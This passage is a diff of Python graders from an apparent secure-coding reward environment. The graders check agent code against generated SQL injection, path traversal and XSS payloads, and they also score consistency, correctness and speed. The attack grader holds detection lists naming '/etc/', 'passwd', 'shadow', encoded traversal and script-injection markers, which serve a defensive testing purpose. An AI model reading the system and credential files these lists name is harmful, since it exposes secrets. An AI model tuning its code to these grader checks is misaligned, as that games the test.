|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
graders/attacks.py
CHANGED
|
@@ -1,42 +1,69 @@
|
|
| 1 |
"""
|
| 2 |
-
SecureCodeEnv - Attack Resistance Grader
|
| 3 |
-
Fires randomized real attack payloads at agent code each episode.
|
| 4 |
-
Weight: 20% of total reward.
|
| 5 |
|
| 6 |
-
FIXED:
|
|
|
|
|
|
|
|
|
|
|
|
|
| 7 |
"""
|
| 8 |
from sandbox.executor import safe_exec
|
| 9 |
from sandbox.payload_gen import get_payloads
|
| 10 |
|
| 11 |
|
| 12 |
def _is_seq(v):
|
| 13 |
-
"""True if v is a list or tuple (JSON round-trip safe)."""
|
| 14 |
return isinstance(v, (list, tuple))
|
| 15 |
|
| 16 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 17 |
ATTACK_CONFIGS = {
|
| 18 |
"medium_sql_query_builder": {
|
| 19 |
"fn_name": "build_user_query",
|
| 20 |
"fn_args_template": ["{payload}", "admin"],
|
| 21 |
"attack_type": "injection",
|
| 22 |
-
"check":
|
| 23 |
-
|
| 24 |
-
payload not in str(result[0]) and
|
| 25 |
-
any(p in str(result[0]) for p in ("%s", "?", ":param", "%("))
|
| 26 |
-
),
|
| 27 |
-
"exception_is_pass": False,
|
| 28 |
},
|
| 29 |
"medium_file_path_handler": {
|
| 30 |
"fn_name": "resolve_safe_path",
|
| 31 |
"fn_args_template": ["/var/uploads", "{payload}"],
|
| 32 |
"attack_type": "traversal",
|
| 33 |
-
"check":
|
| 34 |
-
|
| 35 |
-
(isinstance(result, str) and
|
| 36 |
-
"/etc" not in result and "/root" not in result and
|
| 37 |
-
".." not in result and result.startswith("/var/uploads"))
|
| 38 |
-
),
|
| 39 |
-
"exception_is_pass": True,
|
| 40 |
},
|
| 41 |
"hard_file_upload_handler": {
|
| 42 |
"fn_name": "validate_upload",
|
|
@@ -45,8 +72,8 @@ ATTACK_CONFIGS = {
|
|
| 45 |
"check": lambda result, payload: (
|
| 46 |
isinstance(result, dict) and
|
| 47 |
(result.get("ok") is False or
|
| 48 |
-
|
| 49 |
-
|
| 50 |
),
|
| 51 |
"exception_is_pass": True,
|
| 52 |
},
|
|
@@ -70,10 +97,18 @@ ATTACK_CONFIGS = {
|
|
| 70 |
"attack_type": "xss",
|
| 71 |
"check": lambda result, payload: (
|
| 72 |
isinstance(result, str) and
|
| 73 |
-
|
| 74 |
-
|
| 75 |
-
|
| 76 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 77 |
),
|
| 78 |
"exception_is_pass": False,
|
| 79 |
},
|
|
@@ -100,7 +135,8 @@ def grade_attacks(code: str, task: dict, seed: int) -> dict:
|
|
| 100 |
|
| 101 |
for payload in payloads:
|
| 102 |
raw_args = config["fn_args_template"]
|
| 103 |
-
args = [a.replace("{payload}", payload) if isinstance(a, str) else a
|
|
|
|
| 104 |
result = safe_exec(code, args, function_name=config["fn_name"], timeout=3)
|
| 105 |
|
| 106 |
if not result["ok"]:
|
|
@@ -120,18 +156,17 @@ def grade_attacks(code: str, task: dict, seed: int) -> dict:
|
|
| 120 |
"blocked": blocked,
|
| 121 |
"total": len(payloads),
|
| 122 |
"attack_type": config["attack_type"],
|
| 123 |
-
"feedback":
|
| 124 |
}
|
| 125 |
|
| 126 |
|
| 127 |
-
def
|
| 128 |
names = {
|
| 129 |
"injection": "SQL injection", "traversal": "path traversal",
|
| 130 |
"auth_bypass": "authentication bypass", "xss": "XSS",
|
| 131 |
-
"weak_random": "predictable randomness",
|
| 132 |
}
|
| 133 |
name = names.get(attack_type, attack_type)
|
| 134 |
if score >= 0.875: return f"Excellent — {name} attacks blocked ({score:.0%})"
|
| 135 |
elif score >= 0.625: return f"Good — most {name} attacks blocked ({score:.0%})"
|
| 136 |
-
elif score >= 0.375: return f"Partial — {score:.0%} of {name} attacks blocked"
|
| 137 |
-
else: return f"Vulnerable —
|
|
|
|
| 1 |
"""
|
| 2 |
+
SecureCodeEnv - Attack Resistance Grader v3
|
|
|
|
|
|
|
| 3 |
|
| 4 |
+
FIXED:
|
| 5 |
+
- All check lambdas handle list OR tuple (JSON round-trip)
|
| 6 |
+
- Path traversal check: blocks absolute paths + encoded paths, not just '..'
|
| 7 |
+
- SQL check: verifies placeholder present AND payload not injected
|
| 8 |
+
- Consistent scoring regardless of seed
|
| 9 |
"""
|
| 10 |
from sandbox.executor import safe_exec
|
| 11 |
from sandbox.payload_gen import get_payloads
|
| 12 |
|
| 13 |
|
| 14 |
def _is_seq(v):
|
|
|
|
| 15 |
return isinstance(v, (list, tuple))
|
| 16 |
|
| 17 |
|
| 18 |
+
def _sql_safe(result, payload):
|
| 19 |
+
"""SQL query output is safe when: is 2-element seq, query has placeholder, raw payload not in query."""
|
| 20 |
+
if not _is_seq(result) or len(result) < 2:
|
| 21 |
+
return False
|
| 22 |
+
query = str(result[0])
|
| 23 |
+
# Must use parameterized placeholder
|
| 24 |
+
if not any(p in query for p in ("%s", "?", ":param", "%(", ":%")):
|
| 25 |
+
return False
|
| 26 |
+
# The raw payload (stripped of whitespace) must NOT appear verbatim in the query
|
| 27 |
+
payload_stripped = payload.strip().replace(" ", "").lower()
|
| 28 |
+
query_lower = query.lower().replace(" ", "")
|
| 29 |
+
if payload_stripped in query_lower:
|
| 30 |
+
return False
|
| 31 |
+
return True
|
| 32 |
+
|
| 33 |
+
|
| 34 |
+
def _path_safe(result, payload):
|
| 35 |
+
"""
|
| 36 |
+
Path output is safe when resolved path stays inside /var/uploads.
|
| 37 |
+
Also catches: absolute paths (/etc/), encoded paths (%2e), null bytes.
|
| 38 |
+
"""
|
| 39 |
+
if result is None:
|
| 40 |
+
return True # Rejected = safe
|
| 41 |
+
if not isinstance(result, str):
|
| 42 |
+
return True
|
| 43 |
+
r = result.lower()
|
| 44 |
+
# Must stay inside base
|
| 45 |
+
if not result.startswith("/var/uploads"):
|
| 46 |
+
return False
|
| 47 |
+
# Must not contain escape indicators
|
| 48 |
+
bad = ["/etc/", "/root/", "/proc/", "/var/log", "passwd", "shadow",
|
| 49 |
+
"%2e", "%2f", ".."]
|
| 50 |
+
return not any(b in r for b in bad)
|
| 51 |
+
|
| 52 |
+
|
| 53 |
ATTACK_CONFIGS = {
|
| 54 |
"medium_sql_query_builder": {
|
| 55 |
"fn_name": "build_user_query",
|
| 56 |
"fn_args_template": ["{payload}", "admin"],
|
| 57 |
"attack_type": "injection",
|
| 58 |
+
"check": _sql_safe,
|
| 59 |
+
"exception_is_pass": False, # SQL builder shouldn't raise on injection input
|
|
|
|
|
|
|
|
|
|
|
|
|
| 60 |
},
|
| 61 |
"medium_file_path_handler": {
|
| 62 |
"fn_name": "resolve_safe_path",
|
| 63 |
"fn_args_template": ["/var/uploads", "{payload}"],
|
| 64 |
"attack_type": "traversal",
|
| 65 |
+
"check": _path_safe,
|
| 66 |
+
"exception_is_pass": True, # Raising ValueError = correct
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 67 |
},
|
| 68 |
"hard_file_upload_handler": {
|
| 69 |
"fn_name": "validate_upload",
|
|
|
|
| 72 |
"check": lambda result, payload: (
|
| 73 |
isinstance(result, dict) and
|
| 74 |
(result.get("ok") is False or
|
| 75 |
+
not any(b in str(result.get("safe_path", "")).lower()
|
| 76 |
+
for b in ["..", "/etc/", "/root/", "%2e"]))
|
| 77 |
),
|
| 78 |
"exception_is_pass": True,
|
| 79 |
},
|
|
|
|
| 97 |
"attack_type": "xss",
|
| 98 |
"check": lambda result, payload: (
|
| 99 |
isinstance(result, str) and
|
| 100 |
+
not any(b in result.lower() for b in
|
| 101 |
+
["<script", "onerror", "javascript:", "<img ", "<svg", "onload"])
|
| 102 |
+
),
|
| 103 |
+
"exception_is_pass": False,
|
| 104 |
+
},
|
| 105 |
+
"easy_input_sanitizer_filename": {
|
| 106 |
+
"fn_name": "sanitize_filename",
|
| 107 |
+
"fn_args_template": ["{payload}"],
|
| 108 |
+
"attack_type": "traversal",
|
| 109 |
+
"check": lambda result, payload: (
|
| 110 |
+
isinstance(result, str) and
|
| 111 |
+
".." not in result and "/" not in result and "\\" not in result
|
| 112 |
),
|
| 113 |
"exception_is_pass": False,
|
| 114 |
},
|
|
|
|
| 135 |
|
| 136 |
for payload in payloads:
|
| 137 |
raw_args = config["fn_args_template"]
|
| 138 |
+
args = [a.replace("{payload}", payload) if isinstance(a, str) else a
|
| 139 |
+
for a in raw_args]
|
| 140 |
result = safe_exec(code, args, function_name=config["fn_name"], timeout=3)
|
| 141 |
|
| 142 |
if not result["ok"]:
|
|
|
|
| 156 |
"blocked": blocked,
|
| 157 |
"total": len(payloads),
|
| 158 |
"attack_type": config["attack_type"],
|
| 159 |
+
"feedback": _feedback(score, config["attack_type"]),
|
| 160 |
}
|
| 161 |
|
| 162 |
|
| 163 |
+
def _feedback(score: float, attack_type: str) -> str:
|
| 164 |
names = {
|
| 165 |
"injection": "SQL injection", "traversal": "path traversal",
|
| 166 |
"auth_bypass": "authentication bypass", "xss": "XSS",
|
|
|
|
| 167 |
}
|
| 168 |
name = names.get(attack_type, attack_type)
|
| 169 |
if score >= 0.875: return f"Excellent — {name} attacks blocked ({score:.0%})"
|
| 170 |
elif score >= 0.625: return f"Good — most {name} attacks blocked ({score:.0%})"
|
| 171 |
+
elif score >= 0.375: return f"Partial — only {score:.0%} of {name} attacks blocked"
|
| 172 |
+
else: return f"Vulnerable — {score:.0%} of {name} attacks blocked — CRITICAL"
|
graders/consistency.py
CHANGED
|
@@ -1,89 +1,85 @@
|
|
| 1 |
"""
|
| 2 |
-
SecureCodeEnv -
|
| 3 |
-
|
| 4 |
-
Weight: 15% of total reward.
|
| 5 |
"""
|
| 6 |
from codegraph.graph import CodeGraph
|
| 7 |
from codegraph.extractor import extract_metadata
|
| 8 |
|
| 9 |
|
| 10 |
-
|
| 11 |
-
|
| 12 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 13 |
|
| 14 |
-
First component always gets 1.0 — nothing to be consistent with yet.
|
| 15 |
-
Subsequent components are checked against established conventions.
|
| 16 |
|
| 17 |
-
|
| 18 |
-
|
| 19 |
-
|
| 20 |
-
|
| 21 |
-
"feedback": str
|
| 22 |
-
}
|
| 23 |
-
"""
|
| 24 |
if not graph.components:
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 25 |
return {
|
| 26 |
-
"score":
|
| 27 |
-
"checks":
|
| 28 |
-
"feedback":
|
| 29 |
}
|
| 30 |
|
| 31 |
-
|
| 32 |
-
|
| 33 |
-
checks
|
| 34 |
|
| 35 |
-
#
|
| 36 |
-
|
| 37 |
-
if
|
| 38 |
fns = new_meta.functions
|
| 39 |
-
if
|
| 40 |
correct = sum(1 for f in fns if "_" in f["name"] or f["name"].islower())
|
| 41 |
-
else:
|
| 42 |
-
correct = sum(1 for f in fns if f["name"] and f["name"][0].islower()
|
|
|
|
| 43 |
checks["naming_convention"] = correct / len(fns)
|
| 44 |
|
| 45 |
-
#
|
| 46 |
-
if
|
| 47 |
-
|
| 48 |
-
|
| 49 |
-
|
| 50 |
-
|
| 51 |
-
|
| 52 |
-
|
| 53 |
-
|
| 54 |
-
|
| 55 |
-
|
| 56 |
-
|
| 57 |
-
|
| 58 |
-
|
| 59 |
-
|
| 60 |
-
# ── Check 5: No style drift (print statements) ────────────────────────
|
| 61 |
-
# If no existing component uses print, new code shouldn't either
|
| 62 |
-
existing_no_print = all(
|
| 63 |
-
c.conventions.get("no_print_stmts", True)
|
| 64 |
-
for c in graph.components.values()
|
| 65 |
-
)
|
| 66 |
if existing_no_print:
|
| 67 |
-
checks["no_print_drift"] = 1.0 if
|
| 68 |
|
| 69 |
-
#
|
| 70 |
-
|
| 71 |
-
reuse_taken = 0
|
| 72 |
for comp_name in graph.components:
|
| 73 |
-
# If the problem mentions an existing component, agent should import it
|
| 74 |
if comp_name.lower() in code.lower():
|
| 75 |
-
|
| 76 |
-
if comp_name in code:
|
| 77 |
reuse_taken += 1
|
| 78 |
-
if
|
| 79 |
-
checks["component_reuse"] = reuse_taken /
|
| 80 |
-
|
| 81 |
-
# ── Aggregate ──────────────────────────────────────────────────────────
|
| 82 |
-
if not checks:
|
| 83 |
-
score = 1.0
|
| 84 |
-
else:
|
| 85 |
-
score = sum(checks.values()) / len(checks)
|
| 86 |
|
|
|
|
| 87 |
return {
|
| 88 |
"score": round(score, 4),
|
| 89 |
"checks": checks,
|
|
@@ -91,10 +87,17 @@ def grade_consistency(code: str, filename: str, graph: CodeGraph, step: int) ->
|
|
| 91 |
}
|
| 92 |
|
| 93 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 94 |
def _consistency_feedback(score: float, checks: dict) -> str:
|
| 95 |
if score >= 0.9:
|
| 96 |
return "Excellent consistency with existing codebase conventions"
|
| 97 |
failing = [k for k, v in checks.items() if isinstance(v, float) and v < 0.5]
|
| 98 |
if failing:
|
| 99 |
-
return f"
|
| 100 |
-
return f"
|
|
|
|
| 1 |
"""
|
| 2 |
+
SecureCodeEnv - Consistency Grader v3
|
| 3 |
+
FIXED: Step 0 no longer gives free 1.0 — rewards ESTABLISHING good practices
|
|
|
|
| 4 |
"""
|
| 5 |
from codegraph.graph import CodeGraph
|
| 6 |
from codegraph.extractor import extract_metadata
|
| 7 |
|
| 8 |
|
| 9 |
+
# Minimum quality bar for first submission (establishing conventions)
|
| 10 |
+
GOOD_PRACTICES = {
|
| 11 |
+
"uses_type_hints": ("Type hints present", 0.15),
|
| 12 |
+
"uses_docstrings": ("Docstrings present", 0.15),
|
| 13 |
+
"uses_try_catch": ("Error handling present", 0.10),
|
| 14 |
+
"no_print_stmts": ("No debug print statements", 0.10),
|
| 15 |
+
"no_hardcoded_secrets": ("No hardcoded secrets detected", 0.10),
|
| 16 |
+
}
|
| 17 |
|
|
|
|
|
|
|
| 18 |
|
| 19 |
+
def grade_consistency(code: str, filename: str, graph: CodeGraph, step: int) -> dict:
|
| 20 |
+
new_meta = extract_metadata(code, filename, step)
|
| 21 |
+
conv = new_meta.conventions
|
| 22 |
+
|
|
|
|
|
|
|
|
|
|
| 23 |
if not graph.components:
|
| 24 |
+
# Step 0: score on how well the agent ESTABLISHES good practices
|
| 25 |
+
checks = {}
|
| 26 |
+
for key, (label, _) in GOOD_PRACTICES.items():
|
| 27 |
+
checks[key] = 1.0 if conv.get(key, False) else 0.0
|
| 28 |
+
|
| 29 |
+
score = sum(checks.values()) / max(len(checks), 1)
|
| 30 |
+
# Minimum 0.5 so this doesn't destroy reward on first step
|
| 31 |
+
score = max(0.5, score)
|
| 32 |
+
|
| 33 |
return {
|
| 34 |
+
"score": round(score, 4),
|
| 35 |
+
"checks": checks,
|
| 36 |
+
"feedback": _first_step_feedback(score, checks),
|
| 37 |
}
|
| 38 |
|
| 39 |
+
# Step 1+: check consistency with established conventions
|
| 40 |
+
established = graph.conventions
|
| 41 |
+
checks = {}
|
| 42 |
|
| 43 |
+
# Naming convention
|
| 44 |
+
naming = established.get("naming")
|
| 45 |
+
if naming and naming != "mixed" and new_meta.functions:
|
| 46 |
fns = new_meta.functions
|
| 47 |
+
if naming == "snake_case":
|
| 48 |
correct = sum(1 for f in fns if "_" in f["name"] or f["name"].islower())
|
| 49 |
+
else:
|
| 50 |
+
correct = sum(1 for f in fns if f["name"] and f["name"][0].islower()
|
| 51 |
+
and any(c.isupper() for c in f["name"]))
|
| 52 |
checks["naming_convention"] = correct / len(fns)
|
| 53 |
|
| 54 |
+
# Error handling
|
| 55 |
+
if established.get("error_handling") == "try_catch":
|
| 56 |
+
checks["error_handling"] = 1.0 if conv.get("uses_try_catch") else 0.3
|
| 57 |
+
|
| 58 |
+
# Type hints
|
| 59 |
+
if established.get("uses_type_hints"):
|
| 60 |
+
checks["type_hints"] = 1.0 if conv.get("uses_type_hints") else 0.4
|
| 61 |
+
|
| 62 |
+
# Docstrings
|
| 63 |
+
if established.get("uses_docstrings"):
|
| 64 |
+
checks["docstrings"] = 1.0 if conv.get("uses_docstrings") else 0.5
|
| 65 |
+
|
| 66 |
+
# No print drift
|
| 67 |
+
existing_no_print = all(c.conventions.get("no_print_stmts", True)
|
| 68 |
+
for c in graph.components.values())
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 69 |
if existing_no_print:
|
| 70 |
+
checks["no_print_drift"] = 1.0 if conv.get("no_print_stmts", True) else 0.3
|
| 71 |
|
| 72 |
+
# Component reuse
|
| 73 |
+
reuse_opp = reuse_taken = 0
|
|
|
|
| 74 |
for comp_name in graph.components:
|
|
|
|
| 75 |
if comp_name.lower() in code.lower():
|
| 76 |
+
reuse_opp += 1
|
| 77 |
+
if comp_name in code:
|
| 78 |
reuse_taken += 1
|
| 79 |
+
if reuse_opp > 0:
|
| 80 |
+
checks["component_reuse"] = reuse_taken / reuse_opp
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 81 |
|
| 82 |
+
score = sum(checks.values()) / max(len(checks), 1) if checks else 0.8
|
| 83 |
return {
|
| 84 |
"score": round(score, 4),
|
| 85 |
"checks": checks,
|
|
|
|
| 87 |
}
|
| 88 |
|
| 89 |
|
| 90 |
+
def _first_step_feedback(score: float, checks: dict) -> str:
|
| 91 |
+
missing = [k for k, v in checks.items() if v == 0.0]
|
| 92 |
+
if not missing:
|
| 93 |
+
return f"Good conventions established (score: {score:.2f})"
|
| 94 |
+
return f"Missing good practices: {', '.join(missing)} — add type hints, docstrings, error handling"
|
| 95 |
+
|
| 96 |
+
|
| 97 |
def _consistency_feedback(score: float, checks: dict) -> str:
|
| 98 |
if score >= 0.9:
|
| 99 |
return "Excellent consistency with existing codebase conventions"
|
| 100 |
failing = [k for k, v in checks.items() if isinstance(v, float) and v < 0.5]
|
| 101 |
if failing:
|
| 102 |
+
return f"Convention drift in: {', '.join(failing)}"
|
| 103 |
+
return f"Minor convention drift (score: {score:.2f})"
|
graders/correctness.py
CHANGED
|
@@ -5,6 +5,9 @@ Weight: 30% of total reward — the highest single weight.
|
|
| 5 |
"""
|
| 6 |
from sandbox.executor import safe_exec
|
| 7 |
|
|
|
|
|
|
|
|
|
|
| 8 |
|
| 9 |
def grade_correctness(code: str, task: dict) -> dict:
|
| 10 |
"""
|
|
@@ -74,6 +77,18 @@ def _run_test_case(code: str, tc: dict) -> dict:
|
|
| 74 |
ok = output is not None
|
| 75 |
return {"passed": ok, "description": description}
|
| 76 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 77 |
# Standard equality check
|
| 78 |
if "expected" in tc:
|
| 79 |
expected = tc["expected"]
|
|
|
|
| 5 |
"""
|
| 6 |
from sandbox.executor import safe_exec
|
| 7 |
|
| 8 |
+
def _is_seq(v):
|
| 9 |
+
return isinstance(v, (list, tuple))
|
| 10 |
+
|
| 11 |
|
| 12 |
def grade_correctness(code: str, task: dict) -> dict:
|
| 13 |
"""
|
|
|
|
| 77 |
ok = output is not None
|
| 78 |
return {"passed": ok, "description": description}
|
| 79 |
|
| 80 |
+
# SQL injection safety check: payload must NOT appear in query, placeholder must exist
|
| 81 |
+
if tc.get("sql_injection_check"):
|
| 82 |
+
if not _is_seq(output) or len(output) < 2:
|
| 83 |
+
return {"passed": False, "description": description, "error": "Not a 2-element tuple"}
|
| 84 |
+
query = str(output[0])
|
| 85 |
+
payload_val = inputs[0] if inputs else ""
|
| 86 |
+
has_placeholder = any(p in query for p in ("%s", "?", ":param", "%(username"))
|
| 87 |
+
payload_not_in_query = str(payload_val).strip() not in query
|
| 88 |
+
ok = has_placeholder and payload_not_in_query
|
| 89 |
+
return {"passed": ok, "description": description,
|
| 90 |
+
"note": f"placeholder={has_placeholder} payload_safe={payload_not_in_query}"}
|
| 91 |
+
|
| 92 |
# Standard equality check
|
| 93 |
if "expected" in tc:
|
| 94 |
expected = tc["expected"]
|
graders/performance.py
CHANGED
|
@@ -1,9 +1,6 @@
|
|
| 1 |
"""
|
| 2 |
-
SecureCodeEnv - Performance Grader
|
| 3 |
-
|
| 4 |
-
Weight: 10% of total reward.
|
| 5 |
-
|
| 6 |
-
FIXED: subprocess measurement was returning 0.0ms due to JSON parse of wrong line.
|
| 7 |
"""
|
| 8 |
import sys, tempfile, os, json, subprocess
|
| 9 |
|
|
@@ -14,60 +11,60 @@ def grade_performance(code: str, task: dict) -> dict:
|
|
| 14 |
optimal_code = task.get("optimal_code", "")
|
| 15 |
|
| 16 |
if not test_cases or not naive_code or not optimal_code:
|
| 17 |
-
return {"score": 0.
|
| 18 |
-
"feedback": "No
|
| 19 |
|
| 20 |
-
# Find a usable test case (direct fn call, no class, no exception expected)
|
| 21 |
tc = next((t for t in test_cases
|
| 22 |
if "fn" in t and "input" in t
|
| 23 |
and "fn_class" not in t
|
| 24 |
and "expected_exception" not in t), None)
|
| 25 |
-
|
| 26 |
if not tc:
|
| 27 |
-
return {"score": 0.
|
| 28 |
-
"feedback": "No suitable test case
|
| 29 |
|
| 30 |
fn_name = tc["fn"]
|
| 31 |
inputs = tc["input"]
|
| 32 |
|
| 33 |
try:
|
| 34 |
-
agent_ms = _measure_ms(code,
|
| 35 |
-
naive_ms = _measure_ms(naive_code,
|
| 36 |
-
optimal_ms = _measure_ms(optimal_code,
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 37 |
|
| 38 |
-
# Clamp to avoid division by zero
|
| 39 |
time_range = max(naive_ms - optimal_ms, 0.01)
|
| 40 |
raw = 1.0 - ((agent_ms - optimal_ms) / time_range)
|
| 41 |
time_score = max(0.0, min(1.0, raw))
|
| 42 |
-
|
| 43 |
|
| 44 |
-
combined = round((time_score * 0.7) + (memory_score * 0.3), 4)
|
| 45 |
return {
|
| 46 |
"score": combined,
|
| 47 |
"time_score": round(time_score, 4),
|
| 48 |
-
"memory_score": round(
|
| 49 |
-
"agent_ms":
|
| 50 |
-
"naive_ms":
|
| 51 |
"optimal_ms": round(optimal_ms, 3),
|
| 52 |
-
"feedback":
|
| 53 |
}
|
| 54 |
except Exception as e:
|
| 55 |
-
return {"score": 0.
|
| 56 |
-
"feedback": f"
|
| 57 |
|
| 58 |
|
| 59 |
-
def _measure_ms(code: str, fn_name: str, inputs: list, runs: int =
|
| 60 |
-
"""Measure mean execution time in milliseconds via isolated subprocess."""
|
| 61 |
script = f"""
|
| 62 |
import timeit, json, sys
|
| 63 |
-
|
| 64 |
{code}
|
| 65 |
-
|
| 66 |
def _run():
|
| 67 |
{fn_name}(*{json.dumps(inputs)})
|
| 68 |
-
|
| 69 |
times = timeit.repeat(_run, number={runs}, repeat=5)
|
| 70 |
-
best = min(times) / {runs} * 1000
|
| 71 |
sys.stdout.write(json.dumps({{"ms": best}}) + "\\n")
|
| 72 |
sys.stdout.flush()
|
| 73 |
"""
|
|
@@ -75,29 +72,24 @@ sys.stdout.flush()
|
|
| 75 |
try:
|
| 76 |
with tempfile.NamedTemporaryFile(mode="w", suffix=".py",
|
| 77 |
delete=False, prefix="sce_perf_") as f:
|
| 78 |
-
f.write(script)
|
| 79 |
-
|
| 80 |
-
|
| 81 |
-
proc = subprocess.run(
|
| 82 |
-
[sys.executable, tmp],
|
| 83 |
-
capture_output=True, text=True, timeout=30
|
| 84 |
-
)
|
| 85 |
-
# Take last non-empty line (avoids noise from imports/warnings)
|
| 86 |
for line in reversed(proc.stdout.strip().splitlines()):
|
| 87 |
line = line.strip()
|
| 88 |
if line.startswith("{"):
|
| 89 |
return json.loads(line)["ms"]
|
| 90 |
-
return
|
| 91 |
except Exception:
|
| 92 |
-
return
|
| 93 |
finally:
|
| 94 |
if tmp and os.path.exists(tmp):
|
| 95 |
try: os.unlink(tmp)
|
| 96 |
except OSError: pass
|
| 97 |
|
| 98 |
|
| 99 |
-
def
|
| 100 |
if score >= 0.9: return "Excellent — near-optimal efficiency"
|
| 101 |
elif score >= 0.7: return "Good — minor optimisation possible"
|
| 102 |
elif score >= 0.5: return "Acceptable — room for improvement"
|
| 103 |
-
else: return "Poor —
|
|
|
|
| 1 |
"""
|
| 2 |
+
SecureCodeEnv - Performance Grader v3
|
| 3 |
+
FIXED: 0ms measurement now returns 0.6 (neutral) not 1.0
|
|
|
|
|
|
|
|
|
|
| 4 |
"""
|
| 5 |
import sys, tempfile, os, json, subprocess
|
| 6 |
|
|
|
|
| 11 |
optimal_code = task.get("optimal_code", "")
|
| 12 |
